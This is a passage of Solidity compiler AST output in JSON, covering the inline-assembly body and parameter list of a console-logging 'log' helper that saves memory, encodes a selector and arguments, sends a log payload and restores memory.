YulFunctionCall","src":"285866:11:22"},"variableNames":[{"name":"m6","nativeSrc":"285860:2:22","nodeType":"YulIdentifier","src":"285860:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"285960:4:22","nodeType":"YulLiteral","src":"285960:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"285966:10:22","nodeType":"YulLiteral","src":"285966:10:22","type":"","value":"0xae2ec581"}],"functionName":{"name":"mstore","nativeSrc":"285953:6:22","nodeType":"YulIdentifier","src":"285953:6:22"},"nativeSrc":"285953:24:22","nodeType":"YulFunctionCall","src":"285953:24:22"},"nativeSrc":"285953:24:22","nodeType":"YulExpressionStatement","src":"285953:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"285997:4:22","nodeType":"YulLiteral","src":"285997:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"286003:2:22","nodeType":"YulIdentifier","src":"286003:2:22"}],"functionName":{"name":"mstore","nativeSrc":"285990:6:22","nodeType":"YulIdentifier","src":"285990:6:22"},"nativeSrc":"285990:16:22","nodeType":"YulFunctionCall","src":"285990:16:22"},"nativeSrc":"285990:16:22","nodeType":"YulExpressionStatement","src":"285990:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286026:4:22","nodeType":"YulLiteral","src":"286026:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"286032:4:22","nodeType":"YulLiteral","src":"286032:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"286019:6:22","nodeType":"YulIdentifier","src":"286019:6:22"},"nativeSrc":"286019:18:22","nodeType":"YulFunctionCall","src":"286019:18:22"},"nativeSrc":"286019:18:22","nodeType":"YulExpressionStatement","src":"286019:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286057:4:22","nodeType":"YulLiteral","src":"286057:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"286063:2:22","nodeType":"YulIdentifier","src":"286063:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286050:6:22","nodeType":"YulIdentifier","src":"286050:6:22"},"nativeSrc":"286050:16:22","nodeType":"YulFunctionCall","src":"286050:16:22"},"nativeSrc":"286050:16:22","nodeType":"YulExpressionStatement","src":"286050:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286086:4:22","nodeType":"YulLiteral","src":"286086:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"286092:2:22","nodeType":"YulIdentifier","src":"286092:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286079:6:22","nodeType":"YulIdentifier","src":"286079:6:22"},"nativeSrc":"286079:16:22","nodeType":"YulFunctionCall","src":"286079:16:22"},"nativeSrc":"286079:16:22","nodeType":"YulExpressionStatement","src":"286079:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286120:4:22","nodeType":"YulLiteral","src":"286120:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"286126:2:22","nodeType":"YulIdentifier","src":"286126:2:22"}],"functionName":{"name":"writeString","nativeSrc":"286108:11:22","nodeType":"YulIdentifier","src":"286108:11:22"},"nativeSrc":"286108:21:22","nodeType":"YulFunctionCall","src":"286108:21:22"},"nativeSrc":"286108:21:22","nodeType":"YulExpressionStatement","src":"286108:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43228,"isOffset":false,"isSlot":false,"src":"285680:2:22","valueSize":1},{"declaration":43231,"isOffset":false,"isSlot":false,"src":"285710:2:22","valueSize":1},{"declaration":43234,"isOffset":false,"isSlot":false,"src":"285740:2:22","valueSize":1},{"declaration":43237,"isOffset":false,"isSlot":false,"src":"285770:2:22","valueSize":1},{"declaration":43240,"isOffset":false,"isSlot":false,"src":"285800:2:22","valueSize":1},{"declaration":43243,"isOffset":false,"isSlot":false,"src":"285830:2:22","valueSize":1},{"declaration":43246,"isOffset":false,"isSlot":false,"src":"285860:2:22","valueSize":1},{"declaration":43218,"isOffset":false,"isSlot":false,"src":"286003:2:22","valueSize":1},{"declaration":43220,"isOffset":false,"isSlot":false,"src":"286126:2:22","valueSize":1},{"declaration":43222,"isOffset":false,"isSlot":false,"src":"286063:2:22","valueSize":1},{"declaration":43224,"isOffset":false,"isSlot":false,"src":"286092:2:22","valueSize":1}],"id":43248,"nodeType":"InlineAssembly","src":"285302:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43250,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"286164:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43251,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"286170:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43249,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"286148:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43252,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"286148:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43253,"nodeType":"ExpressionStatement","src":"286148:27:22"},{"AST":{"nativeSrc":"286194:214:22","nodeType":"YulBlock","src":"286194:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"286215:4:22","nodeType":"YulLiteral","src":"286215:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"286221:2:22","nodeType":"YulIdentifier","src":"286221:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286208:6:22","nodeType":"YulIdentifier","src":"286208:6:22"},"nativeSrc":"286208:16:22","nodeType":"YulFunctionCall","src":"286208:16:22"},"nativeSrc":"286208:16:22","nodeType":"YulExpressionStatement","src":"286208:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286244:4:22","nodeType":"YulLiteral","src":"286244:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"286250:2:22","nodeType":"YulIdentifier","src":"286250:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286237:6:22","nodeType":"YulIdentifier","src":"286237:6:22"},"nativeSrc":"286237:16:22","nodeType":"YulFunctionCall","src":"286237:16:22"},"nativeSrc":"286237:16:22","nodeType":"YulExpressionStatement","src":"286237:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286273:4:22","nodeType":"YulLiteral","src":"286273:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"286279:2:22","nodeType":"YulIdentifier","src":"286279:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286266:6:22","nodeType":"YulIdentifier","src":"286266:6:22"},"nativeSrc":"286266:16:22","nodeType":"YulFunctionCall","src":"286266:16:22"},"nativeSrc":"286266:16:22","nodeType":"YulExpressionStatement","src":"286266:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286302:4:22","nodeType":"YulLiteral","src":"286302:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"286308:2:22","nodeType":"YulIdentifier","src":"286308:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286295:6:22","nodeType":"YulIdentifier","src":"286295:6:22"},"nativeSrc":"286295:16:22","nodeType":"YulFunctionCall","src":"286295:16:22"},"nativeSrc":"286295:16:22","nodeType":"YulExpressionStatement","src":"286295:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286331:4:22","nodeType":"YulLiteral","src":"286331:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"286337:2:22","nodeType":"YulIdentifier","src":"286337:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286324:6:22","nodeType":"YulIdentifier","src":"286324:6:22"},"nativeSrc":"286324:16:22","nodeType":"YulFunctionCall","src":"286324:16:22"},"nativeSrc":"286324:16:22","nodeType":"YulExpressionStatement","src":"286324:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286360:4:22","nodeType":"YulLiteral","src":"286360:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"286366:2:22","nodeType":"YulIdentifier","src":"286366:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286353:6:22","nodeType":"YulIdentifier","src":"286353:6:22"},"nativeSrc":"286353:16:22","nodeType":"YulFunctionCall","src":"286353:16:22"},"nativeSrc":"286353:16:22","nodeType":"YulExpressionStatement","src":"286353:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"286389:4:22","nodeType":"YulLiteral","src":"286389:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"286395:2:22","nodeType":"YulIdentifier","src":"286395:2:22"}],"functionName":{"name":"mstore","nativeSrc":"286382:6:22","nodeType":"YulIdentifier","src":"286382:6:22"},"nativeSrc":"286382:16:22","nodeType":"YulFunctionCall","src":"286382:16:22"},"nativeSrc":"286382:16:22","nodeType":"YulExpressionStatement","src":"286382:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43228,"isOffset":false,"isSlot":false,"src":"286221:2:22","valueSize":1},{"declaration":43231,"isOffset":false,"isSlot":false,"src":"286250:2:22","valueSize":1},{"declaration":43234,"isOffset":false,"isSlot":false,"src":"286279:2:22","valueSize":1},{"declaration":43237,"isOffset":false,"isSlot":false,"src":"286308:2:22","valueSize":1},{"declaration":43240,"isOffset":false,"isSlot":false,"src":"286337:2:22","valueSize":1},{"declaration":43243,"isOffset":false,"isSlot":false,"src":"286366:2:22","valueSize":1},{"declaration":43246,"isOffset":false,"isSlot":false,"src":"286395:2:22","valueSize":1}],"id":43254,"nodeType":"InlineAssembly","src":"286185:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"285089:3:22","parameters":{"id":43225,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43218,"mutability":"mutable","name":"p0","nameLocation":"285101:2:22","nodeType":"VariableDeclaration","scope":43256,"src":"285093:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43217,"name":"uint256","nodeType":"ElementaryTypeName","src":"285093:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43220,"mutability":"mutable","name":"p1","nameLocation":"285113:2:22","nodeType":"VariableDeclaration","scope":43256,"src":"285105:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43219,"name":"bytes32","nodeType":"ElementaryTypeName","src":"285105:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43222,"mutability":"mutable","name":"p2","nameLocation":"285122:2:22","nodeType":"VariableDeclaration","scope":43256,"src":"285117:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43221,"name":"bool","nodeType":"ElementaryTypeName","src":"285117:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":43224,"mutability":"mutable","name":"p3","nameLocation":"285134:2:22","nodeType":"VariableDeclaration","scope":43256,"src":"285126:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43223,"name":"address","nodeType":"ElementaryTypeName","src":"285126:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"285092:45:22"},"returnParameters":{"id":43226,"nodeType":"ParameterList","parameters":[],"src":"285152:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43296,"nodeType":"FunctionDefinition","src":"286420:1328:22","nodes":[],"body":{"id":43295,"nodeType":"Block","src":"286489:1259:22","nodes":[],"statements":[{"assignments":[43268],"declarations":[{"constant":false,"id":43268,"mutability":"mutable","name":"m0","nameLocation":"286507:2:22","nodeType":"VariableDeclaration","scope":43295,"src":"286499:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43267,"name":"bytes32","nodeType":"ElementaryTypeName","src":"286499:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43269,"nodeType":"VariableDeclarationStatement","src":"286499:10:22"},{"assignments":[43271],"declarations":[{"constant":false,"id":43271,"mutability":"mutable","name":"m1","nameLocation":"286527:2:22","nodeType":"VariableDeclaration","scope":43295,"src":"286519:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43270,"name":"bytes32","nodeType":"ElementaryTypeName","src":"286519:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43272,"nodeType":"VariableDeclarationStatement","src":"286519:10:22"},{"assignments":[43274],"declarations":[{"constant":false,"id":43274,"mutability":"mutable","name":"m2","nameLocation":"286547:2:22","nodeType":"VariableDeclaration","scope":43295,"src":"286539:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43273,"name":"bytes32","nodeType":"ElementaryTypeName","src":"286539:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43275,"nodeType":"VariableDeclarationStatement","src":"286539:10:22"},{"assignments":[43277],"declarations":[{"constant":false,"id":43277,"mutability":"mutable","name":"m3","nameLocation":"286567:2:22","nodeType":"VariableDeclaration","scope":43295,"src":"286559:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43276,"name":"bytes32","nodeType":"ElementaryTypeName","src":"286559:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43278,"nodeType":"VariableDeclarationStatement","src":"286559:10:22"},{"assignments":[43280],"declarations":[{"constant":false,"id":43280,"mutability":"mutable","name":"m4","nameLocation":"286587:2:22","nodeType":"VariableDeclaration","scope":43295,"src":"286579:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43279,"name":"bytes32","nodeType":"ElementaryTypeName","src":"286579:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43281,"nodeType":"VariableDeclarationStatement","src":"286579:10:22"},{"assignments":[43283],"declarations":[{"constant":false,"id":43283,"mutability":"mutable","name":"m5","nameLocation":"286607:2:22","nodeType":"VariableDeclaration","scope":43295,"src":"286599:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43282,"name":"bytes32","nodeType":"ElementaryTypeName","src":"286599:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43284,"nodeType":"VariableDeclarationStatement","src":"286599:10:22"},{"assignments":[43286],"declarations":[{"constant":false,"id":43286,"mutability":"mutable","name":"m6","nameLocation":"286627:2:22","nodeType":"VariableDeclaration","scope":43295,"src":"286619:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43285,"name":"bytes32","nodeType":"ElementaryTypeName","src":"286619:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43287,"nodeType":"VariableDeclarationStatement","src":"286619:10:22"},{"AST":{"nativeSrc":"286648:825:22","nodeType":"YulBlock","src":"286648:825:22","statements":[{"body":{"nativeSrc":"286691:313:22","nodeType":"YulBlock","src":"286691:313:22","statements":[{"nativeSrc":"286709:15:22","nodeType":"YulVariableDeclaration","src":"286709:15:22","value":{"kind":"number","nativeSrc":"286723:1:22","nodeType":"YulLiteral","src":"286723:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"286713:6:22","nodeType":"YulTypedName","src":"286713:6:22","type":""}]},{"body":{"nativeSrc":"286794:40:22","nodeType":"YulBlock","src":"286794:40:22","statements":[{"body":{"nativeSrc":"286823:9:22","nodeType":"YulBlock","src":"286823:9:22","statements":[{"nativeSrc":"286825:5:22","nodeType":"YulBreak","src":"286825:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"286811:6:22","nodeType":"YulIdentifier","src":"286811:6:22"},{"name":"w","nativeSrc":"286819:1:22","nodeType":"YulIdentifier","src":"286819:1:22"}],"functionName":{"name":"byte","nativeSrc":"286806:4:22","nodeType":"YulIdentifier","src":"286806:4:22"},"nativeSrc":"286806:15:22","nodeType":"YulFunctionCall","src":"286806:15:22"}],"functionName":{"name":"iszero","nativeSrc":"286799:6:22","nodeType":"YulIdentifier","src":"286799:6:22"},"nativeSrc":"286799:23:22","nodeType":"YulFunctionCall","src":"286799:23:22"},"nativeSrc":"286796:36:22","nodeType":"YulIf","src":"286796:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"286751:6:22","nodeType":"YulIdentifier","src":"286751:6:22"},{"kind":"number","nativeSrc":"286759:4:22","nodeType":"YulLiteral","src":"286759:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"286748:2:22","nodeType":"YulIdentifier","src":"286748:2:22"},"nativeSrc":"286748:16:22","nodeType":"YulFunctionCall","src":"286748:16:22"},"nativeSrc":"286741:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"286765:28:22","nodeType":"YulBlock","src":"286765:28:22","statements":[{"nativeSrc":"286767:24:22","nodeType":"YulAssignment","src":"286767:24:22","value":{"arguments":[{"name":"length","nativeSrc":"286781:6:22","nodeType":"YulIdentifier","src":"286781:6:22"},{"kind":"number","nativeSrc":"286789:1:22","nodeType":"YulLiteral","src":"286789:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"286777:3:22","nodeType":"YulIdentifier","src":"286777:3:22"},"nativeSrc":"286777:14:22","nodeType":"YulFunctionCall","src":"286777:14:22"},"variableNames":[{"name":"length","nativeSrc":"286767:6:22","nodeType":"YulIdentifier","src":"286767:6:22"}]}]},"pre":{"nativeSrc":"286745:2:22","nodeType":"YulBlock","src":"286745:2:22","statements":[]},"src":"286741:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"286858:3:22","nodeType":"YulIdentifier","src":"286858:3:22"},{"name":"length","nativeSrc":"286863:6:22","nodeType":"YulIdentifier","src":"286863:6:22"}],"functionName":{"name":"mstore","nativeSrc":"286851:6:22","nodeType":"YulIdentifier","src":"286851:6:22"},"nativeSrc":"286851:19:22","nodeType":"YulFunctionCall","src":"286851:19:22"},"nativeSrc":"286851:19:22","nodeType":"YulExpressionStatement","src":"286851:19:22"},{"nativeSrc":"286887:37:22","nodeType":"YulVariableDeclaration","src":"286887:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"286904:3:22","nodeType":"YulLiteral","src":"286904:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"286913:1:22","nodeType":"YulLiteral","src":"286913:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"286916:6:22","nodeType":"YulIdentifier","src":"286916:6:22"}],"functionName":{"name":"shl","nativeSrc":"286909:3:22","nodeType":"YulIdentifier","src":"286909:3:22"},"nativeSrc":"286909:14:22","nodeType":"YulFunctionCall","src":"286909:14:22"}],"functionName":{"name":"sub","nativeSrc":"286900:3:22","nodeType":"YulIdentifier","src":"286900:3:22"},"nativeSrc":"286900:24:22","nodeType":"YulFunctionCall","src":"286900:24:22"},"variables":[{"name":"shift","nativeSrc":"286891:5:22","nodeType":"YulTypedName","src":"286891:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"286952:3:22","nodeType":"YulIdentifier","src":"286952:3:22"},{"kind":"number","nativeSrc":"286957:4:22","nodeType":"YulLiteral","src":"286957:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"286948:3:22","nodeType":"YulIdentifier","src":"286948:3:22"},"nativeSrc":"286948:14:22","nodeType":"YulFunctionCall","src":"286948:14:22"},{"arguments":[{"name":"shift","nativeSrc":"286968:5:22","nodeType":"YulIdentifier","src":"286968:5:22"},{"arguments":[{"name":"shift","nativeSrc":"286979:5:22","nodeType":"YulIdentifier","src":"286979:5:22"},{"name":"w","nativeSrc":"286986:1:22","nodeType":"YulIdentifier","src":"286986:1:22"}],"functionName":{"name":"shr","nativeSrc":"286975:3:22","nodeType":"YulIdentifier","src":"286975:3:22"},"nativeSrc":"286975:13:22","nodeType":"YulFunctionCall","src":"286975:13:22"}],"functionName":{"name":"shl","nativeSrc":"286964:3:22","nodeType":"YulIdentifier","src":"286964:3:22"},"nativeSrc":"286964:25:22","nodeType":"YulFunctionCall","src":"286964:25:22"}],"functionName":{"name":"mstore","nativeSrc":"286941:6:22","nodeType":"YulIdentifier","src":"286941:6:22"},"nativeSrc":"286941:49:22","nodeType":"YulFunctionCall","src":"286941:49:22"},"nativeSrc":"286941:49:22","nodeType":"YulExpressionStatement","src":"286941:49:22"}]},"name":"writeString","nativeSrc":"286662:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"286683:3:22","nodeType":"YulTypedName","src":"286683:3:22","type":""},{"name":"w","nativeSrc":"286688:1:22","nodeType":"YulTypedName","src":"286688:1:22","type":""}],"src":"286662:342:22"},{"nativeSrc":"287017:17:22","nodeType":"YulAssignment","src":"287017:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"287029:4:22","nodeType":"YulLiteral","src":"287029:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"287023:5:22","nodeType":"YulIdentifier","src":"287023:5:22"},"nativeSrc":"287023:11:22","nodeType":"YulFunctionCall","src":"287023:11:22"},"variableNames":[{"name":"m0","nativeSrc":"287017:2:22","nodeType":"YulIdentifier","src":"287017:2:22"}]},{"nativeSrc":"287047:17:22","nodeType":"YulAssignment","src":"287047:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"287059:4:22","nodeType":"YulLiteral","src":"287059:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"287053:5:22","nodeType":"YulIdentifier","src":"287053:5:22"},"nativeSrc":"287053:11:22","nodeType":"YulFunctionCall","src":"287053:11:22"},"variableNames":[{"name":"m1","nativeSrc":"287047:2:22","nodeType":"YulIdentifier","src":"287047:2:22"}]},{"nativeSrc":"287077:17:22","nodeType":"YulAssignment","src":"287077:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"287089:4:22","nodeType":"YulLiteral","src":"287089:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"287083:5:22","nodeType":"YulIdentifier","src":"287083:5:22"},"nativeSrc":"287083:11:22","nodeType":"YulFunctionCall","src":"287083:11:22"},"variableNames":[{"name":"m2","nativeSrc":"287077:2:22","nodeType":"YulIdentifier","src":"287077:2:22"}]},{"nativeSrc":"287107:17:22","nodeType":"YulAssignment","src":"287107:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"287119:4:22","nodeType":"YulLiteral","src":"287119:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"287113:5:22","nodeType":"YulIdentifier","src":"287113:5:22"},"nativeSrc":"287113:11:22","nodeType":"YulFunctionCall","src":"287113:11:22"},"variableNames":[{"name":"m3","nativeSrc":"287107:2:22","nodeType":"YulIdentifier","src":"287107:2:22"}]},{"nativeSrc":"287137:17:22","nodeType":"YulAssignment","src":"287137:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"287149:4:22","nodeType":"YulLiteral","src":"287149:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"287143:5:22","nodeType":"YulIdentifier","src":"287143:5:22"},"nativeSrc":"287143:11:22","nodeType":"YulFunctionCall","src":"287143:11:22"},"variableNames":[{"name":"m4","nativeSrc":"287137:2:22","nodeType":"YulIdentifier","src":"287137:2:22"}]},{"nativeSrc":"287167:17:22","nodeType":"YulAssignment","src":"287167:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"287179:4:22","nodeType":"YulLiteral","src":"287179:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"287173:5:22","nodeType":"YulIdentifier","src":"287173:5:22"},"nativeSrc":"287173:11:22","nodeType":"YulFunctionCall","src":"287173:11:22"},"variableNames":[{"name":"m5","nativeSrc":"287167:2:22","nodeType":"YulIdentifier","src":"287167:2:22"}]},{"nativeSrc":"287197:17:22","nodeType":"YulAssignment","src":"287197:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"287209:4:22","nodeType":"YulLiteral","src":"287209:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"287203:5:22","nodeType":"YulIdentifier","src":"287203:5:22"},"nativeSrc":"287203:11:22","nodeType":"YulFunctionCall","src":"287203:11:22"},"variableNames":[{"name":"m6","nativeSrc":"287197:2:22","nodeType":"YulIdentifier","src":"287197:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287294:4:22","nodeType":"YulLiteral","src":"287294:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"287300:10:22","nodeType":"YulLiteral","src":"287300:10:22","type":"","value":"0xba535d9c"}],"functionName":{"name":"mstore","nativeSrc":"287287:6:22","nodeType":"YulIdentifier","src":"287287:6:22"},"nativeSrc":"287287:24:22","nodeType":"YulFunctionCall","src":"287287:24:22"},"nativeSrc":"287287:24:22","nodeType":"YulExpressionStatement","src":"287287:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287331:4:22","nodeType":"YulLiteral","src":"287331:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"287337:2:22","nodeType":"YulIdentifier","src":"287337:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287324:6:22","nodeType":"YulIdentifier","src":"287324:6:22"},"nativeSrc":"287324:16:22","nodeType":"YulFunctionCall","src":"287324:16:22"},"nativeSrc":"287324:16:22","nodeType":"YulExpressionStatement","src":"287324:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287360:4:22","nodeType":"YulLiteral","src":"287360:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"287366:4:22","nodeType":"YulLiteral","src":"287366:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"287353:6:22","nodeType":"YulIdentifier","src":"287353:6:22"},"nativeSrc":"287353:18:22","nodeType":"YulFunctionCall","src":"287353:18:22"},"nativeSrc":"287353:18:22","nodeType":"YulExpressionStatement","src":"287353:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287391:4:22","nodeType":"YulLiteral","src":"287391:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"287397:2:22","nodeType":"YulIdentifier","src":"287397:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287384:6:22","nodeType":"YulIdentifier","src":"287384:6:22"},"nativeSrc":"287384:16:22","nodeType":"YulFunctionCall","src":"287384:16:22"},"nativeSrc":"287384:16:22","nodeType":"YulExpressionStatement","src":"287384:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287420:4:22","nodeType":"YulLiteral","src":"287420:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"287426:2:22","nodeType":"YulIdentifier","src":"287426:2:22"}],"functionName":{"name":"mstore","nativeSrc":"287413:6:22","nodeType":"YulIdentifier","src":"287413:6:22"},"nativeSrc":"287413:16:22","nodeType":"YulFunctionCall","src":"287413:16:22"},"nativeSrc":"287413:16:22","nodeType":"YulExpressionStatement","src":"287413:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"287454:4:22","nodeType":"YulLiteral","src":"287454:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"287460:2:22","nodeType":"YulIdentifier","src":"287460:2:22"}],"functionName":{"name":"writeString","nativeSrc":"287442:11:22","nodeType":"YulIdentifier","src":"287442:11:22"},"nativeSrc":"287442:21:22","nodeType":"YulFunctionCall","src":"287442:21:22"},"nativeSrc":"287442:21:22","nodeType":"YulExpressionStatement","src":"287442:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43268,"isOffset":false,"isSlot":false,"src":"287017:2:22","valueSize":1},{"declaration":43271,"isOffset":false,"isSlot":false,"src":"287047:2:22","valueSize":1},{"declaration":43274,"isOffset":false,"isSlot":false,"src":"287077:2:22","valueSize":1},{"declaration":43277,"isOffset":false,"isSlot":false,"src":"287107:2:22","valueSize":1},{"declaration":43280,"isOffset":false,"isSlot":false,"src":"287137:2:22","valueSize":1},{"declaration":43283,"isOffset":false,"isSlot":false,"src":"287167:2:22","valueSize":1},{"declaration":43286,"isOffset":false,"isSlot":false,"src":"287197:2:22","valueSize":1},{"declaration":43258,"isOffset":false,"isSlot":false,"src":"287337:2:22","valueSize":1},{"declaration":43260,"isOffset":false,"isSlot":false,"src":"287460:2:22","valueSize":1},{"declaration":43262,"isOffset":false,"isSlot":false,"src":"287397:2:22","valueSize":1},{"declaration":43264,"isOffset":false,"isSlot":false,"src":"287426:2:22","valueSize":1}],"id":43288,"nodeType":"InlineA